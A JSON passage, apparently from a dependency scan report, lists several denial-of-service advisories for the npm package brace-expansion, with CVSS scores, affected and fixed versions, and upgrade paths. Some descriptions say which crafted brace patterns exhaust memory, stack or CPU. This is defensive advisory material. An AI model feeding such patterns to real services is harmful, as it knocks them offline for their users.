"2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 